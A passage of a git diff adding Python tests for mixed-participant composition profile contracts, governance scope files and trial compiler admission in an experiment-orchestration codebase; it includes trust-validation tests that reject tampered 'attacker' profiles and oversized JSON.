downgrade_policy_ref=requirement.downgrade_policy_ref, + downgrade_provenance_ref=requirement.downgrade_provenance_ref, + ) + + return resolve + + +def _context( + profile: MixedParticipantCompositionProfileModel | None = None, + *, + backend_manifests: dict[str, object] | None = None, + downgrade_authorizations: frozenset[MixedCompositionFeatureDowngradeAuthorization] = frozenset(), +) -> MixedCompositionResolutionContext: + selected = profile or _profile() + manifests = backend_manifests or {component_id: _backend_manifest() for component_id in selected.components} + evidence_satisfaction: dict[tuple[str, str], set[str]] = {} + evidence_carriers = ( + *selected.edges.values(), + *selected.phases.values(), + *selected.transitions.values(), + ) + for carrier in evidence_carriers: + for binding in carrier.evidence_bindings: + evidence_satisfaction.setdefault((selected.profile_id, binding.obligation_ref), set()).add( + binding.evidence_ref + ) + return MixedCompositionResolutionContext( + scenario_snapshots={selected.scenario_snapshot_ref.ref_id: selected.scenario_snapshot_ref}, + compiled_targets={ + allocation.target_address: allocation.target_kind for allocation in selected.allocations.values() + }, + components={ + (selected.profile_id, component.component_id): MixedCompositionTrustedComponent( + profile_id=selected.profile_id, + component_id=component.component_id, + apparatus_identity_ref=component.apparatus_identity_ref, + manifest_ref=component.manifest_ref, + realization_envelope=component.realization_envelope, + native_ownership_ref=component.native_ownership_ref, + ) + for component in selected.components.values() + }, + allocations={ + (selected.profile_id, allocation.allocation_id): MixedCompositionTrustedAllocation( + profile_id=selected.profile_id, + allocation_id=allocation.allocation_id, + target_kind=allocation.target_kind, + target_address=allocation.target_address, + provider_component_id=allocation.provider_component_id, + participant_identity_ref=allocation.participant_identity_ref, + controller_ref=allocation.controller_ref, + action_authority_ref=allocation.action_authority_ref, + routing_ref=allocation.routing_ref, + ) + for allocation in selected.allocations.values() + }, + edges={ + (selected.profile_id, edge.edge_id): MixedCompositionTrustedEdge( + profile_id=selected.profile_id, + edge_id=edge.edge_id, + source_component_id=edge.source_component_id, + target_component_id=edge.target_component_id, + crossing_scope_address=edge.crossing_scope_address, + crossing_subject=edge.crossing_subject, + audience_scope_ref=edge.audience_scope_ref, + policy=edge.policy, + controller_ref=edge.controller_ref, + authority_ref=edge.authority_ref, + routing_ref=edge.routing_ref, + disclosure_authority_ref=edge.disclosure_authority_ref, + native_ownership_ref=edge.native_ownership_ref, + time_binding=edge.time_binding, + mapping_loss=edge.mapping_loss, + failure_behavior=edge.failure_behavior, + ) + for edge in selected.edges.values() + }, + transitions={ + (selected.profile_id, transition.transition_id): MixedCompositionTrustedTransition( + profile_id=selected.profile_id, + transition_id=transition.transition_id, + source_phase_id=transition.source_phase_id, + target_phase_id=transition.target_phase_id, + trigger_ref=transition.trigger_ref, + evaluator_ref=transition.evaluator_ref, + ) + for transition in selected.transitions.values() + }, + feature_support_resolver=_feature_support_resolver(manifests), + feature_downgrade_authorizations=downgrade_authorizations, + time_models={"time-model:composition": _time_model()}, + time_model_digests={"time-model:composition": SHA_D}, + evidence_satisfaction={key: frozenset(values) for key, values in evidence_satisfaction.items()}, + nested_profiles={}, + ) + + +def test_profile_round_trip_seals_one_closed_root_and_requires_semantic_context() -> None: + profile = _profile() + payload = profile.model_dump(mode="json") + + reparsed = parse_mixed_composition_profile(json.dumps(payload)) + assert reparsed == profile + assert reparsed.contract_id == MIXED_COMPOSITION_CONTRACT_ID + assert reparsed.semantic_revision == "sem-234/rev1" + assert reparsed.profile_revision == "mixed-cross-backend-participant-control-v1@rev1" + assert profile.profile_digest.startswith("sha256:") + assert contract_validation_strength(MIXED_COMPOSITION_CONTRACT_ID) == "structural-context-required" + diagnostics = validate_contract_payload(MIXED_COMPOSITION_CONTRACT_ID, payload) + assert {diagnostic.code for diagnostic in diagnostics} == {"conformance.semantic-context-required"} + assert ( + validate_contract_payload( + MIXED_COMPOSITION_CONTRACT_ID, + payload, + mixed_composition_context=_context(), + ) + == () + ) + + +@pytest.mark.parametrize("forbidden", ["backend_choice", "metadata", "trial_id", "run_id", "current_phase"]) +def test_profile_rejects_backend_local_open_or_runtime_fields(forbidden: str) -> None: + payload = _profile().model_dump(mode="json") + payload[forbidden] = {"hla_handle": "17", "command": "start"} + with pytest.raises(ValidationError, match="Extra inputs are not permitted"): + MixedParticipantCompositionProfileModel.model_validate(payload) + + +def test_profile_rejects_duplicate_apparatus_identity_and_contradictory_target_authority() -> None: + fields = _base_fields() + fields["components"]["emu"]["apparatus_identity_ref"] = "apparatus:sim" + with pytest.raises(ValidationError, match="apparatus identity"): + seal_mixed_composition_profile(**fields) + + fields = _base_fields() + duplicate = deepcopy(fields["allocations"]["allocation.participant"]) + duplicate["allocation_id"] = "allocation.participant.competing" + duplicate["provider_component_id"] = "emu" + fields["allocations"][duplicate["allocation_id"]] = duplicate + fields["phases"]["phase.main"]["active_allocation_ids"].append(duplicate["allocation_id"]) + with pytest.raises(ValidationError, match="canonical provider"): + seal_mixed_composition_profile(**fields) + + +def test_profile_modes_are_distinct_and_staged_membership_is_finite() -> None: + alternative = _alternative_profile() + assert alternative.composition_mode == "alternative" + + staged = _staged_profile() + assert staged.composition_mode == "staged" + + invalid = _base_fields() + invalid["composition_mode"] = "alternative" + with pytest.raises(ValidationError, match="alternative"): + seal_mixed_composition_profile(**invalid) + + +def test_alternative_realizations_are_distinct_roots_without_trial_or_run_identity() -> None: + simulation = _alternative_profile("sim") + emulation = _alternative_profile("emu") + assert simulation.scenario_snapshot_ref == emulation.scenario_snapshot_ref + assert simulation.profile_digest != emulation.profile_digest + assert not ({"trial_id", "run_id"} & set(type(simulation).model_fields)) + + +def test_bounded_ingress_rejects_duplicate_members_depth_nodes_and_unknown_revision() -> None: + assert parse_bounded_json_object('{"value":"[[{{"}', max_bytes=64, max_depth=1) == {"value": "[[{{"} + with pytest.raises(ValueError, match="duplicate JSON member"): + parse_mixed_composition_profile('{"profile_id":"a","profile_id":"b"}') + + payload = _profile().model_dump(mode="json") + encoded_payload = json.dumps(payload) + depth_limits = MixedCompositionValidationLimits(max_json_depth=2) + with pytest.raises(ValueError, match="depth limit"): + parse_mixed_composition_profile(encoded_payload, limits=depth_limits) + node_limits = MixedCompositionValidationLimits(max_json_nodes=10) + with pytest.raises(ValueError, match="node limit"): + parse_mixed_composition_profile(encoded_payload, limits=node_limits) + deeply_nested = '{"value":' + "[" * 2_000 + "0" + "]" * 2_000 + "}" + nesting_limits = MixedCompositionValidationLimits(max_json_depth=64) + with pytest.raises(ValueError, match="depth limit"): + parse_mixed_composition_profile(deeply_nested, limits=nesting_limits) + + payload["schema_version"] = "mixed-participant-composition-profile/v2" + with pytest.raises(ValidationError): + MixedParticipantCompositionProfileModel.model_validate(payload) + + +def test_contextual_validation_resolves_all_authorities_without_mutation_or_inference() -> None: + profile = _profile() + original = profile.model_dump(mode="json") + validate_mixed_composition_context(profile, _context()) + assert profile.model_dump(mode="json") == original + + missing_target = replace(_context(), compiled_targets={}) + with pytest.raises(ValueError, match="compiled target"): + validate_mixed_composition_context(profile, missing_target) + + missing_policy = replace(_context(), edges={}) + with pytest.raises(ValueError, match="edge authority relationship"): + validate_mixed_composition_context(profile, missing_policy) + + stale_mapping = replace(_context(), time_model_digests={"time-model:composition": SHA_E}) + with pytest.raises(ValueError, match="time model"): + validate_mixed_composition_context(profile, stale_mapping) + + missing_evidence = replace(_context(), evidence_satisfaction={}) + with pytest.raises(ValueError, match="evidence"): + validate_mixed_composition_context(profile, missing_evidence) + + +@pytest.mark.parametrize( + ("path", "replacement"), + [ + (("scenario_snapshot_ref", "ref_version"), "2"), + (("components", "sim", "apparatus_identity_ref"), "apparatus:other"), + (("components", "sim", "realization_envelope", "envelope_id"), "envelope:other"), + (("allocations", "allocation.participant", "participant_identity_ref"), "participant:mallory"), + (("allocations", "allocation.participant", "controller_ref"), "controller:other"), + (("allocations", "allocation.participant", "action_authority_ref"), "authority:other"), + (("allocations", "allocation.participant", "routing_ref"), "route:other"), + (("edges", "edge.sim-to-emu", "crossing_scope_address"), "crossings.mallory.status"), + (("edges", "edge.sim-to-emu", "crossing_subject", "participant_address"), "participants.mallory"), + (("edges", "edge.sim-to-emu", "audience_scope_ref"), "audience:other"), + (("edges", "edge.sim-to-emu", "policy", "policy_decision_ref"), "decision:other"), + (("edges", "edge.sim-to-emu", "controller_ref"), "controller:other"), + (("edges", "edge.sim-to-emu", "authority_ref"), "authority:other"), + (("edges", "edge.sim-to-emu", "routing_ref"), "route:other"), + (("edges", "edge.sim-to-emu", "disclosure_authority_ref"), "authority:other"), + (("edges", "edge.sim-to-emu", "native_ownership_ref"), "native-ownership:other"), + (("edges", "edge.sim-to-emu", "time_binding", "mapping_address"), "time.mappings.other"), + (("edges", "edge.sim-to-emu", "mapping_loss", "basis_ref"), "mapping:other"), + (("edges", "edge.sim-to-emu", "mapping_loss", "affected_ref"), "observation:other"), + (("edges", "edge.sim-to-emu", "mapping_loss", "limitation_ref"), "limitation:other"), + (("edges", "edge.sim-to-emu", "failure_behavior", "failure_ref"), "failure:other"), + (("edges", "edge.sim-to-emu", "evidence_bindings", 0, "obligation_ref"), "obligation:other"), + ], +) +def test_context_rejects_resealed_profiles_with_untrusted_external_coordinates( + path: tuple[str | int, ...], + replacement: str, +) -> None: + trusted = _profile() + fields = _base_fields() + target = fields + for coordinate in path[:-1]: + target = target[coordinate] + target[path[-1]] = replacement + attacker_profile = seal_mixed_composition_profile(**fields) + trusted_context = _context(trusted) + + with pytest.raises(ValueError, match="unresolved|stale"): + validate_mixed_composition_context(attacker_profile, trusted_context) + + +def test_context_rejects_resealed_component_with_consistently_rekeyed_manifest_identity() -> None: + trusted = _profile() + fields = _base_fields() + manifest = fields["components"]["sim"]["manifest_ref"] + manifest["ref_id"] = "backend:other" + manifest["subject_ref"]["ref_id"] = "backend:other" + attacker_profile = seal_mixed_composition_profile(**fields) + trusted_context = _context(trusted) + + with pytest.raises(ValueError, match="component identity relationship"): + validate_mixed_composition_context(attacker_profile, trusted_context) + + +@pytest.mark.parametrize("coordinate", ["trigger_ref", "evaluator_ref"]) +def test_context_rejects_untrusted_staged_transition_ownership(coordinate: str) -> None: + trusted = _staged_profile() + fields = trusted.model_dump( + mode="python", + exclude={"contract_id", "schema_version", "semantic_revision", "profile_revision", "profile_digest"}, + ) + fields["transitions"]["transition.sim-to-emu"][coordinate] = f"{coordinate}:other" + attacker_profile = seal_mixed_composition_profile(**fields) + trusted_context = _context(trusted) + + with pytest.raises(ValueError, match="transition trigger or evaluator"): + validate_mixed_composition_context(attacker_profile, trusted_context) + + +def test_capability_support_is_resolved_per_provider_and_downgrade_requires_authority() -> None: + profile = _profile() + unsupported = _context( + profile, + backend_manifests={ + "sim": _backend_manifest(ParticipantFeatureSupportLevel.BOUNDED), + "emu": _backend_manifest(), + }, + ) + with pytest.raises(ValueError, match="feature support"): + validate_mixed_composition_context(profile, unsupported) + + fields = _base_fields() + for allocation in fields["allocations"].values(): + if allocation["provider_component_id"] != "sim": + continue + requirement = allocation["feature_requirements"][0] + requirement.update( + allowed_downgrade_level="bounded", + downgrade_policy_ref="policy:downgrade", + downgrade_provenance_ref="provenance:downgrade", + ) + downgraded = seal_mixed_composition_profile(**fields) + authorization = MixedCompositionFeatureDowngradeAuthorization( + profile_id=downgraded.profile_id, + provider_component_id="sim", + feature="participant_ingress_admission", + required_level=ParticipantFeatureSupportLevel.EXACT, + allowed_downgrade_level=ParticipantFeatureSupportLevel.BOUNDED, + policy_ref="policy:downgrade", + provenance_ref="provenance:downgrade", + ) + context = _context( + downgraded, + backend_manifests={ + "sim": _backend_manifest(ParticipantFeatureSupportLevel.BOUNDED), + "emu": _backend_manifest(), + }, + downgrade_authorizations=frozenset({authorization}), + ) + validate_mixed_composition_context(downgraded, context) + + unrelated_authorization = replace(authorization, provider_component_id="emu") + unrelated_context = _context( + downgraded, + backend_manifests={ + "sim": _backend_manifest(ParticipantFeatureSupportLevel.BOUNDED), + "emu": _backend_manifest(), + }, + downgrade_authorizations=frozenset({unrelated_authorization}), + ) + with pytest.raises(ValueError, match="downgrade authorization"): + validate_mixed_composition_context(downgraded, unrelated_context) + + +def test_graph_work_limit_and_unresolved_nested_profile_fail_closed() -> None: + profile = _profile(nested_profile_refs={"profile:child": SHA_E}) + context = _context() + with pytest.raises(ValueError, match="nested profile"): + validate_mixed_composition_context(profile, context) + base_profile = _profile() + base_context = _context() + work_limits = MixedCompositionValidationLimits(max_context_work=1) + with pytest.raises(ValueError, match="work limit"): + validate_mixed_composition_context(base_profile, base_context, limits=work_limits) + base = _profile() + cyclic = base.model_copy(update={"nested_profile_refs": {base.profile_id: base.profile_digest}}) + cyclic_context = replace(_context(cyclic), nested_profiles={base.profile_id: cyclic}) + with pytest.raises(ValueError, match="reconstruction|cycle"): + validate_mixed_composition_context(cyclic, cyclic_context) + + child = _alternative_profile() + parent = _profile(nested_profile_refs={"profile:child": child.profile_digest}) + wrong_identity = replace(_context(parent), nested_profiles={"profile:child": child}) + with pytest.raises(ValueError, match="nested profile"): + validate_mixed_composition_context(parent, wrong_identity) + + +def test_contract_layer_keeps_feature_resolution_dependency_inverted() -> None: + contracts = REPO_ROOT / "implementations/python/packages/raes_contracts/contracts" + for module in ( + "mixed_composition.py", + "mixed_composition_validation.py", + "mixed_composition_resolution.py", + ): + assert "raes_backend_protocols" not in (contracts / module).read_text(encoding="utf-8") + + +def test_published_schema_bundle_fixtures_and_change_ledger_are_consistent() -> None: + schema = json.loads(SCHEMA_PATH.read_text(encoding="utf-8")) + assert schema_bundle()[MIXED_COMPOSITION_CONTRACT_ID] == schema + + valid = sorted((FIXTURE_ROOT / "valid").glob("*.json")) + invalid = sorted((FIXTURE_ROOT / "invalid").glob("*.json")) + assert {path.stem for path in valid} == {"alternative", "simultaneous-mixed", "staged"} + assert {path.stem for path in invalid} >= { + "alternative-fallback-pool", + "duplicate-apparatus-identity", + "open-metadata", + "simultaneous-single-form", + "staged-unadmitted-member", + "unknown-revision", + } + for path in valid: + MixedParticipantCompositionProfileModel.model_validate(json.loads(path.read_text(encoding="utf-8"))) + for path in invalid: + payload = json.loads(path.read_text(encoding="utf-8")) + with pytest.raises(ValidationError): + MixedParticipantCompositionProfileModel.model_validate(payload) + + publication = json.loads(PUBLICATION_PATH.read_text(encoding="utf-8")) + digest = hashlib.sha256( + json.dumps(schema, ensure_ascii=False, separators=(",", ":"), sort_keys=True).encode("utf-8") + ).hexdigest() + assert publication == { + "content_hash": digest, + "contract_id": MIXED_COMPOSITION_CONTRACT_ID, + "last_change": { + "content_hash": digest, + "summary": "Publish the initial closed SEM-234 mixed-participant composition profile (#1014).", + }, + "schema_path": "contracts/schemas/plans/mixed-participant-composition-profile-v1.json", + "stability": "draft", + } diff --git a/implementations/python/tests/test_issue_1014_mixed_composition_governance.py b/implementations/python/tests/test_issue_1014_mixed_composition_governance.py new file mode 100644 index 000000000..0b90ce09f --- /dev/null +++ b/implementations/python/tests/test_issue_1014_mixed_composition_governance.py @@ -0,0 +1,77 @@ +"""Governance ownership for issue #1014's multi-requirement delivery.""" + +from __future__ import annotations + +import json +from pathlib import Path + +import yaml + +REPO_ROOT = Path(__file__).resolve().parents[3] +SCOPE_PATH = REPO_ROOT / "docs/governance/requirement-scopes/1014.json" +ORDER_PATH = REPO_ROOT / "tools/policy/requirement_order.yaml" +UIDS = ["SEM-234", "SCE-002", "API-407", "API-423"] + +DELIVERY_PATHS = { + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/alternative-fallback-pool.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/duplicate-apparatus-identity.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/open-metadata.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/simultaneous-single-form.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/staged-unadmitted-member.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/unknown-revision.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/alternative.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/simultaneous-mixed.json", + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/staged.json", + "contracts/schema-publication/entries/mixed-participant-composition-profile-v1.json", + "contracts/schemas/plans/mixed-participant-composition-profile-v1.json", + "docs/decisions/issue-1014-mixed-composition-contracts-preflight.md", + "docs/explain/reference/mixed-participant-composition.md", + "docs/governance/requirement-scopes/1014.json", + "docs/requirements/API-407/requirement.md", + "docs/requirements/API-423/requirement.md", + "docs/requirements/SCE-002/requirement.md", + "docs/requirements/SEM-234/requirement.md", + "docs/research/formal-semantic-validation/bundles/retest-v31.json", + "docs/research/formal-semantic-validation/execution-snapshot-v31.json", + "docs/research/specification-coverage/analysis-v31.json", + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1183-v31.json", + "docs/research/specification-coverage/execution-snapshot-v31.json", + "implementations/python/packages/raes_conformance/conformance/validators.py", + "implementations/python/packages/raes_contracts/contracts/__init__.py", + "implementations/python/packages/raes_contracts/contracts/_exports.py", + "implementations/python/packages/raes_contracts/contracts/bundle.py", + "implementations/python/packages/raes_contracts/contracts/mixed_composition.py", + "implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py", + "implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py", + "implementations/python/packages/raes_contracts/json_ingress.py", + "implementations/python/packages/raes_contracts/versions.py", + "implementations/python/tests/test_issue_1014_mixed_composition_contracts.py", + "implementations/python/tests/test_issue_1014_mixed_composition_governance.py", + "tools/generate_contract_schemas.py", + "tools/policy/requirement_order.yaml", +} + + +def test_issue_scope_is_closed_complete_and_truthful() -> None: + scope = json.loads(SCOPE_PATH.read_text(encoding="utf-8")) + assert scope["schema_version"] == "requirement-scope/v1" + assert scope["issue_number"] == 1014 + assert scope["primary_requirement_uid"] == "SEM-234" + assert scope["requirement_uids"] == UIDS + assert set(scope["bindings"]) == DELIVERY_PATHS + assert all(set(owners) <= set(UIDS) and owners for owners in scope["bindings"].values()) + assert set(scope["bindings"]["implementations/python/tests/test_issue_1014_mixed_composition_contracts.py"]) == set( + UIDS + ) + + +def test_all_scoped_requirements_and_delivery_paths_share_the_bounded_phase() -> None: + policy = yaml.safe_load(ORDER_PATH.read_text(encoding="utf-8")) + phases = {phase["id"]: phase for phase in policy["phases"]} + mixed = phases["mixed-participant-composition"] + assert mixed["requirements"] == UIDS + assert "API-407" not in phases["api400-deferred"]["requirements"] + assert mixed["blocked_until"] == ["reference-implementations"] + + ownership = set(policy["ownership"]["mixed-participant-composition"]) + assert ownership >= DELIVERY_PATHS diff --git a/implementations/python/tests/test_issue_1015_mixed_staged_trial_admission.py b/implementations/python/tests/test_issue_1015_mixed_staged_trial_admission.py new file mode 100644 index 000000000..fd86a7fe9 --- /dev/null +++ b/implementations/python/tests/test_issue_1015_mixed_staged_trial_admission.py @@ -0,0 +1,780 @@ +"""Mixed and staged participant trial admission (issue #1015).""" + +from __future__ import annotations + +import json +from concurrent.futures import ThreadPoolExecutor +from dataclasses import replace + +import pytest +import raes_processor.trial_compiler.compiler as trial_compiler_module +from paths import REPO_ROOT +from raes import canonical_instantiated_sdl_digest, select_scenario_family +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import ( + AdmittedMixedCompositionBindingModel, + AdmittedTrialSourceReferenceModel, + BackendManifestV2Model, + ExperimentBackendReferenceModel, + ExperimentManifestReferenceModel, + ExperimentReferenceModel, + seal_mixed_composition_profile, +) +from raes_contracts.contracts.mixed_composition import MixedCompositionValidationLimits +from raes_processor.trial_compiler import compile_admitted_trial_plan +from raes_processor.trial_compiler.profiles import derive_identity, realization_assignment_key +from raes_processor.trial_compiler.realization_admission import validate_mixed_authority +from raes_processor.trial_realization import TrialRealizationInputs, realize_admitted_trial_entry +from raes_processor.trial_scheduler import plan_batch_schedule +from test_issue_1014_mixed_composition_contracts import ( + _alternative_profile, + _context, + _profile, + _staged_profile, +) +from test_sce_002_trial_compiler import _bound_spec, _request, _with_participant_manifest +from test_sce_002_trial_realization import _BACKEND_KEY + + +def _mixed_request(profile_factory=_alternative_profile, *, base_request=None): + request = base_request or _request(run_count=2) + pure = compile_admitted_trial_plan(request) + assert pure.plan is not None + assignments = {} + profiles = {} + contexts = {} + profile_refs = [] + apparatus_manifests = dict(request.apparatus_manifests) + for pure_entry in pure.plan.entries.values(): + outcomes = {selection.variation_point_id: selection.outcome for selection in pure_entry.selections} + selected = select_scenario_family(request.family, outcomes) + snapshot_ref = ExperimentReferenceModel( + ref_kind="scenario-snapshot", + ref_id=f"snapshot:compiler-family:{pure_entry.coordinate.replicate_id}", + ref_version="instantiated-scenario-snapshot/v1", + ref_digest=canonical_instantiated_sdl_digest(selected).value, + ) + + source = profile_factory() + fields = source.model_dump(mode="python", exclude={"profile_digest"}) + profile_suffix = ":".join( + filter(None, (pure_entry.coordinate.condition_id, pure_entry.coordinate.replicate_id)) + ) + fields["profile_id"] = f"profile:{profile_suffix}" + for component_id, component in fields["components"].items(): + component["apparatus_identity_ref"] = f"apparatus:{component_id}" + manifest_name = f"backend-{profile_suffix}-{component_id}" + manifest_payload = next(iter(request.apparatus_manifests.values())).model_dump(mode="python") + manifest_payload["identity"]["name"] = manifest_name + manifest = BackendManifestV2Model.model_validate(manifest_payload) + manifest_ref = ExperimentManifestReferenceModel( + ref_kind="manifest", + ref_id=manifest_name, + ref_version=manifest.schema_version, + ref_digest=canonical_json_digest(manifest.model_dump(mode="json")), + subject_ref=ExperimentBackendReferenceModel( + ref_kind="backend", + ref_id=manifest_name, + ref_version=manifest.identity.version, + ), + ) + component["manifest_ref"] = manifest_ref.model_dump(mode="python") + component["realization_envelope"] = request.realization_envelope.identity.model_dump(mode="python") + apparatus_manifests[("backend", manifest_name, manifest.identity.version, manifest.schema_version)] = ( + manifest + ) + fields["scenario_snapshot_ref"] = snapshot_ref + profile = seal_mixed_composition_profile(**fields) + profile_ref = ExperimentReferenceModel( + ref_kind="profile", + ref_id=profile.profile_id, + ref_version=profile.profile_revision, + ref_digest=profile.profile_digest, + ) + assignments[realization_assignment_key(pure_entry.coordinate)] = AdmittedMixedCompositionBindingModel( + profile_ref=profile_ref + ) + profiles[profile.profile_id] = profile + contexts[profile.profile_id] = replace( + _context(profile), + allocation_effects={ + (profile.profile_id, allocation_id): frozenset({f"effect:{allocation_id}"}) + for allocation_id in profile.allocations + }, + resource_refs={profile.profile_id: frozenset({"range:compiler-fixture"})}, + component_projection_membership={ + (profile.profile_id, component_id): True for component_id in profile.components + }, + ) + profile_refs.append(profile_ref) + refs = request.input_refs.model_copy(update={"mixed_composition_profile_refs": profile_refs}) + return replace( + request, + input_refs=refs, + realization_assignments=assignments, + mixed_profiles=profiles, + mixed_profile_contexts=contexts, + mixed_realization_envelopes={ + request.realization_envelope.identity.envelope_id: request.realization_envelope, + }, + apparatus_manifests=apparatus_manifests, + ) + + +def _reject_feature(*_args) -> None: + raise ValueError("unsupported feature") + + +def _profile_context(profile): + return replace( + _context(profile), + allocation_effects={ + (profile.profile_id, allocation_id): frozenset({f"effect:{allocation_id}"}) + for allocation_id in profile.allocations + }, + resource_refs={profile.profile_id: frozenset({"range:compiler-fixture"})}, + component_projection_membership={ + (profile.profile_id, component_id): True for component_id in profile.components + }, + ) + + +def _replace_root_profile(request, profile, context): + profile_ref = ExperimentReferenceModel( + ref_kind="profile", + ref_id=profile.profile_id, + ref_version=profile.profile_revision, + ref_digest=profile.profile_digest, + ) + assignments = { + key: binding.model_copy(update={"profile_ref": profile_ref}) + if binding.profile_ref.ref_id == profile.profile_id + else binding + for key, binding in request.realization_assignments.items() + } + input_refs = request.input_refs.model_copy( + update={ + "mixed_composition_profile_refs": [ + profile_ref if reference.ref_id == profile.profile_id else reference + for reference in request.input_refs.mixed_composition_profile_refs + ] + } + ) + return replace( + request, + input_refs=input_refs, + realization_assignments=assignments, + mixed_profiles={**request.mixed_profiles, profile.profile_id: profile}, + mixed_profile_contexts={**request.mixed_profile_contexts, profile.profile_id: context}, + ) + + +def _with_nested_profile(request): + root_id = sorted(request.mixed_profiles)[0] + original = request.mixed_profiles[root_id] + child_fields = original.model_dump(mode="python", exclude={"profile_digest"}) + child_fields["profile_id"] = f"{root_id}:child" + child_fields["nested_profile_refs"] = {} + manifests = dict(request.apparatus_manifests) + for component_id, component in child_fields["components"].items(): + source_key = next( + key for key in request.apparatus_manifests if key[1] == component["manifest_ref"]["subject_ref"]["ref_id"] + ) + payload = request.apparatus_manifests[source_key].model_dump(mode="python") + name = f"backend-child-{component_id}" + payload["identity"]["name"] = name + manifest = BackendManifestV2Model.model_validate(payload) + reference = ExperimentManifestReferenceModel( + ref_kind="manifest", + ref_id=name, + ref_version=manifest.schema_version, + ref_digest=canonical_json_digest(manifest.model_dump(mode="json")), + subject_ref=ExperimentBackendReferenceModel( + ref_kind="backend", + ref_id=name, + ref_version=manifest.identity.version, + ), + ) + component["manifest_ref"] = reference.model_dump(mode="python") + manifests[("backend", name, manifest.identity.version, manifest.schema_version)] = manifest + child = seal_mixed_composition_profile(**child_fields) + root_fields = original.model_dump(mode="python", exclude={"profile_digest"}) + root_fields["nested_profile_refs"] = {child.profile_id: child.profile_digest} + root = seal_mixed_composition_profile(**root_fields) + root_context = _profile_context(root) + child_context = _profile_context(child) + combined = replace( + root_context, + scenario_snapshots={**root_context.scenario_snapshots, **child_context.scenario_snapshots}, + compiled_targets={**root_context.compiled_targets, **child_context.compiled_targets}, + components={**root_context.components, **child_context.components}, + allocations={**root_context.allocations, **child_context.allocations}, + edges={**root_context.edges, **child_context.edges}, + transitions={**root_context.transitions, **child_context.transitions}, + evidence_satisfaction={**root_context.evidence_satisfaction, **child_context.evidence_satisfaction}, + nested_profiles={child.profile_id: child}, + allocation_effects={**root_context.allocation_effects, **child_context.allocation_effects}, + resource_refs={**root_context.resource_refs, **child_context.resource_refs}, + component_projection_membership={ + **root_context.component_projection_membership, + **child_context.component_projection_membership, + }, + ) + return replace( + _replace_root_profile(request, root, combined), + apparatus_manifests=manifests, + ), child + + +def test_alternative_profile_is_admitted_as_exact_identity_bearing_realization() -> None: + request = _mixed_request() + + first = compile_admitted_trial_plan(request) + second = compile_admitted_trial_plan(request) + + assert first.diagnostics == second.diagnostics == () + assert first.plan == second.plan + assert first.plan is not None + entry = next(iter(first.plan.entries.values())) + assert isinstance(entry.apparatus, AdmittedMixedCompositionBindingModel) + assert entry.apparatus.profile_ref == next(iter(request.realization_assignments.values())).profile_ref + assert first.plan.profiles.compiler_profile == "trial-compiler-mixed-composition-v1" + assert first.plan.profiles.entry_identity_profile == "trial-entry-identity-mixed-composition-v1" + + +def test_mixed_profile_inputs_require_total_coordinate_assignment() -> None: + request = _mixed_request() + + rejected = compile_admitted_trial_plan(replace(request, realization_assignments={})) + + assert rejected.plan is None + assert [diagnostic.code for diagnostic in rejected.diagnostics] == [ + "trial-compiler.realization-assignment-incomplete" + ] + + +def test_single_backend_realizer_rejects_mixed_entry_before_backend_selection() -> None: + request = _mixed_request() + result = compile_admitted_trial_plan(request) + assert result.plan is not None + entry = next(iter(result.plan.entries.values())) + + inputs = TrialRealizationInputs( + plan=result.plan, + family=request.family, + experiment=request.experiment, + task=request.task, + capture_specs=request.capture_specs, + apparatus_manifests=request.apparatus_manifests, + realization_envelope=request.realization_envelope, + backend_key=_BACKEND_KEY, + ) + with pytest.raises(ValueError, match="mixed-composition runtime coordination"): + realize_admitted_trial_entry(inputs=inputs, plan_entry_id=entry.plan_entry_id) + + +@pytest.mark.parametrize( + ("profile_factory", "mode"), + [ + (_alternative_profile, "alternative"), + (_profile, "simultaneous-mixed"), + (_staged_profile, "staged"), + ], +) +def test_compiler_admits_all_closed_composition_modes(profile_factory, mode: str) -> None: + request = _mixed_request(profile_factory) + + result = compile_admitted_trial_plan(request) + + assert result.diagnostics == () + assert result.plan is not None + admitted_modes = { + request.mixed_profiles[entry.apparatus.profile_ref.ref_id].composition_mode + for entry in result.plan.entries.values() + } + assert admitted_modes == {mode} + + +def test_mixed_compilation_is_stable_across_maps_partitions_threads_and_repetition() -> None: + request = _mixed_request(_profile) + reversed_request = replace( + request, + input_refs=request.input_refs.model_copy( + update={"mixed_composition_profile_refs": list(reversed(request.input_refs.mixed_composition_profile_refs))} + ), + realization_assignments=dict(reversed(tuple(request.realization_assignments.items()))), + mixed_profiles=dict(reversed(tuple(request.mixed_profiles.items()))), + mixed_profile_contexts=dict(reversed(tuple(request.mixed_profile_contexts.items()))), + ) + + canonical = compile_admitted_trial_plan(request) + reversed_result = compile_admitted_trial_plan( + reversed_request, + coordinate_partitions=((1,), (0,)), + ) + with ThreadPoolExecutor(max_workers=2) as pool: + threaded = tuple(pool.map(compile_admitted_trial_plan, (request, reversed_request))) + + assert canonical.diagnostics == reversed_result.diagnostics == () + assert canonical.plan == reversed_result.plan + assert all(result.plan == canonical.plan for result in threaded) + + +@pytest.mark.parametrize( + ("mutation", "code"), + [ + ("context", "trial-compiler.composition-context-rejected"), + ("envelope", "trial-compiler.apparatus-envelope-identity-mismatch"), + ("resources", "trial-compiler.composition-resource-coverage-missing"), + ("effects", "trial-compiler.composition-context-rejected"), + ("projection", "trial-compiler.composition-context-rejected"), + ("feature", "trial-compiler.composition-context-rejected"), + ("clock", "trial-compiler.composition-context-rejected"), + ("evidence", "trial-compiler.composition-context-rejected"), + ], +) +def test_mixed_admission_rejects_context_envelope_resource_and_effect_drift( + mutation: str, + code: str, +) -> None: + request = _mixed_request(_profile) + profile_id = next(iter(request.mixed_profiles)) + context = request.mixed_profile_contexts[profile_id] + if mutation == "context": + allocation_key = next(iter(context.allocations)) + contexts = { + **request.mixed_profile_contexts, + profile_id: replace( + context, + allocations={key: value for key, value in context.allocations.items() if key != allocation_key}, + ), + } + request = replace(request, 